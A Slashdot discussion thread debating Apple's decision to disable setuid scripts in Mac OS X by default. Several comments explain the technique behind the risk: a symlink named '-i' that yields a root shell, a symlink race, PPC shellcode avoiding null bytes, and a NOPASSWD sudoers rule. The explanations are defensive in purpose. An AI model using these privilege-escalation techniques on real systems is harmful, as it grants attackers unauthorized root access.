    How about fixing the system call mechanism so that you can't use a non-null byte to make system calls from shell code? The problem (PDF) has been known for a couple of years now. While it won't eliminate buffer overflow shellcode, it will make it a lot harder to write shellcode for OS X.

    --

    --
    "Open source is good." - Steve Jobs
    "Open source is evil." - Microsoft
    1. Re:System calls by Morth · · Score: 1

      That's a problem with the cpu. While you could check the originating syscall instruction in the kernel, it's mostly a tiny inconvenience for the hacker, and won't really help much. Fixing the cpu would help a little, because cache problems would then kick in, but I have some sample code that avoids that problem to.

  23. Why this is a non-issue... by argent · · Score: 4, Informative
    TANJ, man, setuid scripts didn't even exist as a concept for most of UNIX lifetime, because scripts were run by the shell... not directly by the kernel: every program out there did something like:
    if ( (pid = fork()) == 0 ) {
    execl(program, program, filename, NULL);
    /* exec failed, try it as a script */
    execl("/bin/sh", "sh", program, filename, NULL);
    /* panic! No shell! */
    perror("/bin/sh");
    exit(-1);
    }
    ...
    Obviously in this scenario, since /bin/sh isn't setuid, setuid scripts won't work. Until they came up with the "#!" hack in the '80s there wasn't even a mechanism by which setuid scripts could be implemented.

    It didn't take long before it was obvious that setuid scripts were a REALLY bad idea, and they've been backed out of one UNIX version after another. this isn't a matter of redefining a feature as a bug, it's a matter of asking "what took you so long?"...

    Whoever approved this story should be ashamed of themselves. There's more than enough REAL news that matters...
  24. One Word. by benjamindees · · Score: 1

    Which other features/capabilities (in any OS) would you like to have removed?

    Macros.

    --
    "I assumed blithely that there were no elves out there in the darkness"
    1. Re:One Word. by kybred · · Score: 1
      Which other features/capabilities (in any OS) would you like to have removed?

      Users.

    2. Re:One Word. by Anonymous Coward · · Score: 0

      This OS would be great if it weren't for the fucking users. - Randall Graves the computer guy

  25. Not such a great inconvenience by raider_red · · Score: 0

    I'm sure that both of the Apple users who use this feature were pissed. The rest of us really don't care.

    I've never really understood the need for the setuid feature. I always managed to get my programs and scripts to work just fine without it.

    --
    It's good to use your head, but not as a battering ram.
    1. Re:Not such a great inconvenience by Anonymous Coward · · Score: 0

      I was using it (out of sheer laziness), now I just use a one-line setuid C program as a wrapper around the shell script.

    2. Re:Not such a great inconvenience by geoffspear · · Score: 1
      I've never really understood the need for the setuid feature. I always managed to get my programs[...]

      Scripts, fine. Try implementing su or sudo without it, and we'll see how much it's needed.

      --
      Don't blame me; I'm never given mod points.
  26. Rammed down our throats? by j-turkey · · Score: 2, Insightful

    Something to think about is that anyone with root (on a Unix-esque system) can make a system insecure. This doesn't just apply to Unix, however. Anyone with super-user access to a system can demolish the security of any operating system, however. There are just too many things that can be done to leave nearly any system wide open.

    There are also more than a few reasons to intentionally make a system insecure. Perhaps the system is part of a trusted network, with limited physical access. In that case, system security does not really matter much. Security also didn't matter much when the Internet/DARPAnet was designed -- a time and place issue.

    While eliminating SUID/SGID scripts is probably a pretty good idea, I definitely want to retain the ability to make my own assessment of security and make the requisite changes to my system. Maybe there's a really good reason to have a TFTP, RSH, or Telnet server on a system.

    Like I said, removing SUID/SGID scripts is probably a good thing, but I definitely want developers to be as cautious as possible in how they remove features. Perhaps rather than completely removing certain features, they should be disabled by default. My fear is that if this catches on with other developers, we could end up with quite a few systems like MacOS pre 10, where there is a definite lack of configuration (and hacking) options.

    Don't get me wrong, I'm not bitching. Rather, I'm simply pointing out how this can go awry if it's unchecked.

    --

    -Turkey

    1. Re:Rammed down our throats? by greed · · Score: 5, Informative
      Like I said, removing SUID/SGID scripts is probably a good thing, but I definitely want developers to be as cautious as possible in how they remove features. Perhaps rather than completely removing certain features, they should be disabled by default.

      Disallowing SUID/SGID scripts is industry standard in UNIX-land. Not that "everyone else does it" is a good justification on its own. But, in this case "everyone else had a reason".

      You can easily run a script as any ID you desire via sudo, provided with the system. As Apple states, none of their software uses SUID/SGID scripts. And I very much doubt any 3rd-party software does also. It is just such a universally unavailable feature, no UNIX programmer would think to even try it these days.

    2. Re:Rammed down our throats? by HSpirit · · Score: 1

      As Apple states, none of their software uses SUID/SGID scripts. And I very much doubt any 3rd-party software does also.
      Unfortunately this example from a vendor with 3.4 billion dollars US to spare shows this is not quite true:
      % file /Applications/Adobe\ Version\ Cue/*.sh
      /Applications/Adobe Version Cue/productname.sh: empty
      /Applications/Adobe Version Cue/startserver.sh: setuid a /bin/sh script text executable
      /Applications/Adobe Version Cue/stopserver.sh: setuid a /bin/sh script text executable
  27. Is IE really a feature? by theraccoon · · Score: 4, Funny
    Which other features/capabilities (in any OS) would you like to have removed?

    Internet Explorer.

    1. Re:Is IE really a feature? by WillAffleckUW · · Score: 1

      Which other features/capabilities (in any OS) would you like to have removed?

      Internet Explorer.


      Um, but what can we use on an old iMac with only 96MB of RAM?

      --
      -- Tigger warning: This post may contain tiggers! --
    2. Re:Is IE really a feature? by great+om · · Score: 1

      ICAB of course.

      doesn't everyone remember icab?

      --
      ------- Oh damn.... the Sigfile escaped... -Great OM
  28. Re:Stupid crap by ArbitraryConstant · · Score: 2, Interesting
    It doesn't prevent lazy programmers and administrators from misusing SUID.
    #include <errno.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>

    #define SCRIPT_PATH "/usr/local/bin/whatever"

    int main (int argc, char *argv[]) {
    execv(SCRIPT_PATH, argv);

    fprintf("%s: could not execute \"%s\" (\"%s\")\n", argv[0], SCRIPT_PATH, strerror(errno));
    }
    --
    I rarely criticize things I don't care about.
  29. Re:Stupid crap by remahl · · Score: 2, Informative

    Apple has not disabled suid. They have disabled suid scripts, a technique inherently unsafe. It is not possible to write a suid script in a secure manner. It is _difficult_ to write a secure suid binary, but far from impossible.

  30. This will break management software by mveloso · · Score: 0

    One problem with removing SUID and GUID is it'll break management scripts.

    Yeah, people on other unices actually write scripts to do work. They get triggered, and run as user "oracle" or something like that.

    So much for that functionality. Instead, we'll get something worse: people writing binaries that SUID and execute any random shell script, like this:

    runsuid --script=/usr/bin/my_script --user=root

    Gee, thanks.

    Why not get rid of the shell while you're at it? That command line is a security problem waiting to happen. And while you're at it, remove process invocation commands like exec. Those can be used to run executables, which could cause Bad Things to Happen.

    What a freaking PITA. I mean, if there was a bug in SUID/GUID handling, fix it. Removing it is really drastic. What's next, removing "rm" because it could delete files?

  31. Re:Stupid crap by FidelCatsro · · Score: 1

    I apoligise i was a bit obtuse , i did rather loosly enfer the fact that it was only for scripts , i apoligise . you are correct in the context of programs ofcourse ... I realy should learn to use preview

    --
    The only things certain in war are Propaganda and Death. You can never be sure which is which though
  32. Answers : yes, no, where to start? by javaxman · · Score: 3, Insightful
    Can other commercial OS vendors (how many are there :) adopt a similar stance?

    they do, clearly. There are just too many examples of features dropped between releases of operating systems to pick only one.

    Will you be inconvenienced by the inability to run setuid scripts on MacOS X?

    no. It was a mistake that the feature was ever included. You should SUID/SGID binaries, not text files or anything else. Scripts are not binaries.

    Which other features/capabilities (in any OS) would you like to have removed?

    Can I vote for eliminating the ability of any OS to create annoying, non-standards-supporting web pages that use too much Flash and/or Javascript ? Can I prevent any OS from sending out spam email ? Can I remove the ability of a compiled application to crash the machine? No? Too bad. In any given system, there are a lot of features that aren't really needed and can be either a source of confusion or a source of problems. Most of these shouldn't be in the OS layer, and ( like the SUID issue ) should be tightened up if they are in that layer.

    Fundamentally, though, the SUID/SGID thing referenced in the story is a non-issue. If I have console access, typing "sudo" and a password isn't even an inconvenience. It's already been pointed out that this feature has already been removed from almost every other major Un*x variant, including Linux.

  33. The problem with suid scripts by wirelessbuzzers · · Score: 5, Informative
    Here's why IBM hasn't allowed them for ages.

    The problem with suid scripts is the mechanism for implementing scripts. Essentially, a script is an executable beginning with
    #!/path/to/interpreter arg
    (arg is often left blank). When you run it,
    scriptname arg1 arg2 arg3
    is translated by the kernel to
    /path/to/interpreter arg scriptname arg1 arg2 arg3
    which is then executed. If the script is setuid, then logically the interpreter should be setuid.

    Suppose then that you have a bash script /usr/local/bin/foo which is setuid root. If I create a symlink to it at /tmp/-i and set my path to include ".", then I can invoke it from tmp as "-i". The kernel translates this to
    /bin/bash -i
    run setuid root, which is a root login shell. D'oh.

    Linux fixes this (if you turn on setuid scripts) with the /dev/fd/n system, that is, it opens the script as file descriptor 3 (say), and runs
    /bin/bash /dev/fd/3
    Still, this is a hack, and setuid scripts are bad for other reasons (environment poisoning, ...).
    --
    I hereby place the above post in the public domain.
    1. Re:The problem with suid scripts by Anonymous Coward · · Score: 0

      When you run it,

      scriptname arg1 arg2 arg3

      is translated by the kernel


      Exactly. Because it is the kernel that parses the commandline options.

    2. Re:The problem with suid scripts by wirelessbuzzers · · Score: 2, Informative

      Exactly. Because it is the kernel that parses the commandline options.

      OK. If you want to be anal,
      execv(scriptname, {scriptname, arg1, arg2, arg3, NULL}) is translated by the kernel to
      execv(interpreter, {interpreter, arg, scriptname, arg1, arg2, arg3, NULL}).

      Happy?

      --
      I hereby place the above post in the public domain.
    3. Re:The problem with suid scripts by Qzukk · · Score: 1

      It seems to me that this is kind of a bizarre solution. Why not simply pass the full path to the file to the shell as a single argument? bash "/tmp/-i" would certainly behave as expected.

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    4. Re:The problem with suid scripts by wirelessbuzzers · · Score: 1

      bash "/tmp/-i" would certainly behave as expected.

      Actually, that doesn't work either. There is a race condition: an attacker may create a hard or soft link to a SUID script in /tmp/foo, exec it and then clobber it with another script. This is a race condition, and so after a thousand scripted runs the attacker might succeed in duping bash into exceuting an arbitrary script as root.

      --
      I hereby place the above post in the public domain.
    5. Re:The problem with suid scripts by joelhayhurst · · Score: 1

      I tried making a bash script called -i in /tmp and it executed as expected on OS X 10.3.9. The same when I symlinked -i to another script.

      Here's my script:

      #!/bin/bash
      echo Hello

      Here's my execution:

      chappi:/tmp joel$ -i
      Hello
  34. "fixing the system call mechanism"? by mbessey · · Score: 1

    I read through the shellcode example article again (thanks for the link by the way, I was going to look it up again for another project anyway), and I don't see how this is a problem that can really be solved, at least not by Apple.

    There is always more than one way to get basically any value you might want loaded into the proper registers. Once the registers are loaded, there's a single instruction that's used to initiate a system call, the "sc" instruction.

    The opcode for "sc" ALREADY includes two embedded NULs, so it looks like somebody was more-or-less on the ball there (or just lucky). Unfortunately, current PPC processors don't object if any of the "reserved, set to zero" bits in the instruction are actually set to one.

    This is arguably a processor misfeature, and something that Freescale/IBM might want to look at changing in later processors. Actually, I should check this on the G5 - it's the kind of thing that easily could have changed without anybody remarking on it.

    I can think of a couple of possible hacky things the OS could do to post-facto validate the code leading up to the sc instruction, but I suspect that'd be very bad for syscall performance. If I get the time, maybe I'll build myself a hacked Darwin kernel and play around with the idea a bit more.

    Unfortunately, the first validation measure that came to my mind is easily worked around, so you're back in the usual technical arms race with the bad guys. The only bright spot there is that every additional step the shellcode needs to take makes it longer and more brittle. I wonder if you can make it adequately painful to write shellcode without totally tanking syscall performance?

    In any case, as you noted, fixing the case of ASCII-only shellcode is only going to close down some of the available buffer-overflow exploits, not all of them.

    -Mark

  35. No it bloody won't. by argent · · Score: 3, Informative

    Yeah, people on other unices actually write scripts to do work. They get triggered, and run as user "oracle" or something like that.

    Generally out of cron, which runs them as user oracle in a vanilla controlled environment, not whatever random or malicious environment some user running the scripts externally might set up.

    . Instead, we'll get something worse: people writing binaries that SUID and execute any random shell script

    Like sudo? For interactive work Mac OS X already has a mechanism to do this more safely, and for batch... well... if they're not already doing it for Linux systems that don't support setuid scripts, and didn't do it for UNIX before the brief life of setuid scripts, why would they start now?

    1. Re:No it bloody won't. by MenTaLguY · · Score: 1

      You can set up scripts in sudoers using NOPASSWD: for batch purposes.

      --

      DNA just wants to be free...
  36. MS Does this.. by whib · · Score: 1
    Microsoft does this... anyone ever applied a "service pack"? Only we kick and scream over it.

    Of course, we expect that when Microsoft removes a "feature" for "security reasons" it really has to do with the fact that the feature was not adding anything to the bottom line, or buggy.

    --
    -- www.WhereHaveIBeen.com
  37. I heard that G5s by Paradox · · Score: 1

    I heard that G5s do object to having those NULs filled in. I don't own one to test it personally, though.

    If so,it'd be nice. Those bits are reserved, but that doesn't mean that they should be unchecked.

    --
    Slashdot. It's Not For Common Sense
    1. Re:I heard that G5s by mbessey · · Score: 1

      I checked on a current-revision G5, and the reserved bits are still ignored. No big deal, really, but it would have made it slightly harder to write shellcode.

  38. NOT A PROBLEM by Anonymous Coward · · Score: 1

    Local Root Exploit

    Read the first word. Local. That means in order to be a problem an attacker needs physical access to your machine. If they have physical access to your machine you have worse problems than worrying about root escalation.

    Find a better barrow to push.

    1. Re:NOT A PROBLEM by argent · · Score: 1

      If they have physical access to your machine you have worse problems than worrying about root escalation.

      This isn't Windows. Slowing down root escalation will at least keep the skr1pt k1ddies busy for a little while. Yes, you want to keep them out... but you don't write your PIN on the back of your teller card just because "if someone has physical access to your wallet you have worse problems than worrying about an unauthorised withdrawal".

    2. Re:NOT A PROBLEM by Anonymous Coward · · Score: 0

      The OP also incorrectly requires this exploit to be possible only through physical access to the machine.

      It's not so. This exploit can give any code that runs on an OS X machine root access, without notifying the user through a password protected popup. You could have remote users with valid low level logins gaining root access, or a trojan acting as a small benign utility which installs a rootkit.

      Local root escalation makes trojan rootkits trivial.

  39. Re:Stunningly *stupid* by Anonymous Coward · · Score: 3, Insightful

    1. It's not an important feature.

    2. Even when it's used for what it's there for, it's being misused.

    3. No competent sysadmin counts on it being there. Ever.

    4. Most "real" flavors of *nix threw it away a long time ago.

    If Apple is open to criticism, it's for not chucking it sooner.

  40. Apple did not remove SUID/SGID on scripts by Cmdr+TECO · · Score: 5, Insightful

    Apple added a kernel switch for suid/sgid on scripts, and leave it off by default. If you want suid/sgid scripts on your system, enable them. If you don't think this comment has given you enough information to enable them, you shouldn't be running suid/sgid scripts.

    --
    echo 33676832766569823265328479713269.8639857989Pq | dc
    1. Re:Apple did not remove SUID/SGID on scripts by Absentminded-Artist · · Score: 1

      Thanks for being a voice of reason. Apple hasn't removed a feature, they've battened it down so only those who need it will activate it. Incidentally, that includes me because I haven't the faintest idea what to do with either suid or sgid. I prefer Apple shutting power features off by default. As I understand them, I enable them. Wish Windows was originally setup that way. My in-laws just bought a new PC because their old one had become so compromised by viruses and malware and the local techs charged so much to clean their PC over and over again that buying a new PC was cheaper!

      --
      The Splintered Mind - Overcoming
    2. Re:Apple did not remove SUID/SGID on scripts by mveloso · · Score: 1

      Yeah, except they "forgot" to tell everyone what that switch is.

      I dumped defaults and sysctl, and there wasn't anything. So now I'll plow through all my plists looking for the "I'm a retard" switch so I can turn it off.

      Thanks, Apple.

    3. Re:Apple did not remove SUID/SGID on scripts by Anonymous Coward · · Score: 0

      It's a kernel sysctl; look again.

  41. You asked for it.... by the+eric+conspiracy · · Score: 2, Funny

    Which other features/capabilities (in any OS) would you like to have removed?"

    Windows, all flavors, TCP/IP.

  42. It's not a Vuln, It's a Feature! by kybred · · Score: 1
    Usually, the vendor says the opposite:

    It's not a vulnerability, it's a feature!

    kybred

  43. windows by william_w_bush · · Score: 1

    all of it.

    not thrilled about dos either.

    seriously, auto-insert for volumes? at least give us a control panel to turn it off. indexing service on by default, all those annoying "common tasks" panes in explorer especially the control panel, the fact that windows media player 9 or 10 always steals back file associations from mplayerc even if you tell it not to and remove the reg keys and delete the damn executables and files (oh they come back, like the damn poltergeist).

    Before the stupid m$ rants come in, I use it for gaming, but really would it be that hard to make an "expert mode" for people who half half a f*ing clue what theyre doing? it's called windows xp professional, so you don't have to set it up by default for people without a clue.

    Oh, and for home edition try making the default account non-superuser, just a thought.

    christ.

    --
    The first rule of USENET is you do not talk about USENET.
    1. Re:windows by The+Bungi · · Score: 1
      auto-insert for volumes?

      Turn it off. You're a "professional" as you imply, you do know how to do that, yes?

      indexing service on by default

      And some other Slashbot would complain about it being on by default.

      all those annoying "common tasks" panes in explorer

      Turn them off.

      windows media player 9 or 10 always steals back file associations from mplayerc

      Bullshit, I use WMP9 and mplayerc and this has *never* happened. Ever.

      the reg keys and delete the damn executables and files (oh they come back, like the damn poltergeist).

      Because they (the files at least) are protected by the OS. Turn protection off. You do know how to do that, yes?

      make an "expert mode" for people who half half a f*ing clue what theyre doing?

      You want an expert mode where you have *more* things about which you don't have a clue? More?

      try making the default account non-superuser

      How about you tell that to Dell, Gateway, IBM and all the other white box makers? There is no such thing as a "default" account in Windows. The OEMs are the ones that ship their boxes with a super account on by default.

      christ.

      Yeah, no shit.

  44. Re:Stunningly *stupid* by YOU+LIKEWISE+FAIL+IT · · Score: 3, Interesting
    so even though many sysadmins count on such things

    Bzzt. If you depend on such things, you should have your badge revoked. Setuid on scripts is a horrible hack, because the execution mechanism of shell scripts allows users to tinker with the internals of the suid resource.

    This should never, ever, ever be allowed.

    --
    One god, one market, one truth, one consumer.
  45. Re:Stupid crap by Anonymous Coward · · Score: 0

    #include
    #include
    #include
    #include

    #define SCRIPT_PATH "/usr/local/bin/whatever"

    int main (int argc, char *argv[]) {
    execv(SCRIPT_PATH, argv);

    fprintf(stderr, "%s: could not execute \"%s\" (\"%s\")\n", argv[0], SCRIPT_PATH, strerror(errno));
    }

  46. Re:Stunningly *stupid* by snuffdiddy23 · · Score: 4, Funny

    I think that anything that makes a sysadmin's job more difficult should be reconsidered, as it requires a sysadmin to be more effective (which is uncalled for). Everyone who has ever worked in a job that is not as a sysadmin should know that making a sysadmin's life easier is way more important than the thousands of people they represent. Everyone knows that in any company that the IT department can be counted on being the top dollar earners. I have already made a list of excuses for my lack of efficacy, and this update that I had all of the computers automatically install has just taken precedence over some of the best excuses I have used to shirk off actual work.

  47. -1 ignorant. by Anonymous Coward · · Score: 0

    You don't know what you're talking about, kid.

  48. Mod Down this loser/idiot by ravenspear · · Score: 1

    Yeah, people on other unices actually write scripts to do work. They get triggered, and run as user "oracle" or something like that. So much for that functionality.

    If you had any idea what the hell you are talking about or had even read ANY of this thread, you would know that virtually no one on "other unices" even uses this feature.

  49. been done by pmsyyz · · Score: 1

    Remember when Microsoft removed gopher support from IE instead of fixing a security vulnerability in it?

    --
    Phillip
  50. Stunning? by jpop32 · · Score: 1

    Apple's security stance is stunning.

    Interesting. I don't recall praising MS for stunning security stance when they decided to deliberately break some functionality for the sake of security with the release WinXP SP2. Funny thing, it was spun a bit differently, IIRC...

    Can other commercial OS vendors (how many are there :) adopt a similar stance?

    Indeed they should. So we can bash or praise them for it, depending on wether they are MS or not. :-)

  51. Insomnia Kernel Extension Script by Kalak · · Score: 1

    The Script I have that loads/unloads the Insomnia Kernel Extension ran SUID. I'd been wondering what broke it, and now that I know, I'm going to have to dig through man sudoers to get it to be run via sudo w/o a password (I usually run it from the scripts menu.)

    I guess you could say that I'm effected by this, but I'll get over it. Sudo should be able to adapt, or else I'll just run the script from the command line.

    --
    I am, and always will be, an idiot. Karma: Coma (mostly effected by .hack)
    1. Re:Insomnia Kernel Extension Script by Kalak · · Score: 1

      replying to myself, but here's the sudoers line:

      kalak ALL = PASSWD:ALL, NOPASSWD: /sbin/kextload,/sbin/kextunload

      No password required to load/unload extentions. Not what I call the best policy, but is it better or worse then general SUID is the question? Any thoughts on the lesser of two security holes?

      --
      I am, and always will be, an idiot. Karma: Coma (mostly effected by .hack)
    2. Re:Insomnia Kernel Extension Script by argent · · Score: 1

      Why don't you put the extension load in /Library/StartupItems so it's done on boot?

    3. Re:Insomnia Kernel Extension Script by Kalak · · Score: 1

      So it can be turned on/off depending on need. I usually leave it off unless I'm doing something like wandering around wile downloading something or I want to keep a ssh session going when I relocate from one room to another. Those times I turn it on. (load/unload)

      --
      I am, and always will be, an idiot. Karma: Coma (mostly effected by .hack)
    4. Re:Insomnia Kernel Extension Script by argent · · Score: 1

      So it can be turned on/off depending on need.

      Hmmm...

      Sounds like Insomnia needs a user interface to go along with the kernel extension. How about this one?

    5. Re:Insomnia Kernel Extension Script by Kalak · · Score: 1

      It looks nice, but I've got to big a dock/too many system menus/not enough space for windows. The advantage of insomnia being scripted is that it uses a slot in the already present script system menu. My system menu/dock/desktop almost make me wish I had a 17" not a 15" but now I'm rambling.

      --
      I am, and always will be, an idiot. Karma: Coma (mostly effected by .hack)
    6. Re:Insomnia Kernel Extension Script by argent · · Score: 1

      My system menu/dock/desktop almost make me wish I had a 17" not a 15" but now I'm rambling.

      I've got a 21 and I wish I had a 30. :)

      I'm pretty down on Dashboard, but if I thought it would lead people to quit writing apps that use menu extras when they don't need to be on the screen all the time, I'd be all over it.

      Unfortunately, I'm too cynical for that.

  52. re: arg is often left blank? by mveloso · · Score: 1

    When have you ever seen a shell script without an invocation line?

    Never.

    If it was such a problem, why not make the shell disallow execution of scripts without an explicit invocation line?

  53. What do these do? by Winterblink · · Score: 1

    For those of us who aren't *nix gurus, can someone provide a description of what these scripts do?

    --
    "I'm a leaf on the wind. Watch how I soar."
    -Hoban Washburn
    1. Re:What do these do? by Anonymous Coward · · Score: 0

      In a nutshell, they fuck up your system.

  54. Re: arg is often left blank? by wirelessbuzzers · · Score: 1

    When have you ever seen a shell script without an invocation line?

    Never.

    If it was such a problem, why not make the shell disallow execution of scripts without an explicit invocation line?


    bash -i is a perfectly reasonable command line. Bash doesn't know that it's being called to run a shell script, it just thinks that it's being called to log a user in. The kernel doesn't know that bash interprets -i this way...

    --
    I hereby place the above post in the public domain.
  55. There are still OSes that do that? by otis+wildflower · · Score: 1

    Color me stunned. AFAICR I haven't seen an OS that had set(u|g)id scripting in like 12 years.. Even AIX 3.2.5 had it disabled, and I don't recall it being in any opensource shell interpreter in at least 5 years..

    I'd be interested to know which OSes actually support this? It's highly dangerous..

    1. Re:There are still OSes that do that? by mveloso · · Score: 2, Informative

      AIX supports it, up through at least 5L (last release I used).

      You might have been using a system that used the "suppress suid/guid" mount option.

    2. Re:There are still OSes that do that? by MenTaLguY · · Score: 1

      In most modern unices executing shell scripts is a function of the kernel rather than the shell interpreter. So looking at the open-source shell interpreters won't tell you anything.

      (...and back when executing shell scripts _was_ a function of the shell interpreter, setuid/setgid wasn't generally possible to support for shell scripts)

      I do know from experience that HP-UX still permits setuid/setgid shell scripts, at least up through 11i, and probably later.

      --

      DNA just wants to be free...
  56. sysctl -w kern.sugid_scripts=1 by mveloso · · Score: 1

    Sigh...missed it grepping for suid and guid. Doh!

  57. sysctl -a | grep script by Anonymous Coward · · Score: 0

    Weeee!

  58. Re:no . in path by spitzak · · Score: 1

    Not having "." in the path is to fix a much simpler expliot. As a cracker, make a program called "ls" and make it do whatever you want, assumming it has root privledges, and then leave it in /tmp or anywhere you can write. Then wait for the root user to happen to cd to that directory and type "ls". You are in.

    Removing "." removes the one directory from a typical user's path that other users can write to.

  59. Thanks! by Paradox · · Score: 1

    It wouldn't have made it slightly harder, it would have made it much harder. Bummer.

    --
    Slashdot. It's Not For Common Sense
  60. Hmm, not bad... by Anonymous Coward · · Score: 0

    PINAS?

  61. Snapshot technical explanation by Anonymous Coward · · Score: 0

    Full disclosure: I work for NetApp. In the marketing department, even... yuck!

    But... one of the easiest explanations of how snapshots work is in a ten-year-old whitepaper, located here:
    http://www.netapp.com/tech_library/3002.html#I34

    Also... I'm not familiar with the $PWD/.gone feature described above; I'm pretty sure that must be a local hack, maybe a symlink pointing to one of the snapshots in the .snapshot directory. Out of the box, to recover a file you have deleted, you do something like this:

    $ cd .snapshot
    $ cd hourly.0
    (or hourly.10, or weekly.4, etc. depending on which version of the file you want to recover)
    $ cp myfile ~/projdir/myfile

    No separate .gone directory is needed because the .snapshot directory holds all changes since the snapshot was made; including modifications to files as well as deleted files. For simplicity, it even holds the things that have NOT changed, so looking at a snapshot directory is exactly like looking at a read-only version of the real directory, frozen at a certain moment in time.

  62. That's easy... by SphericalCrusher · · Score: 1

    Cut down on all of the useless services that Microsoft Windows XP boots up and automatically sets up upon installation of the operating system.

    --
    "Instant gratification takes too long." - Carrie Fisher
  63. Uptown Girl (reposted due to crapflooding) by Anonymous Coward · · Score: 0

    Apple's launchd should make things interesting.

    1115120266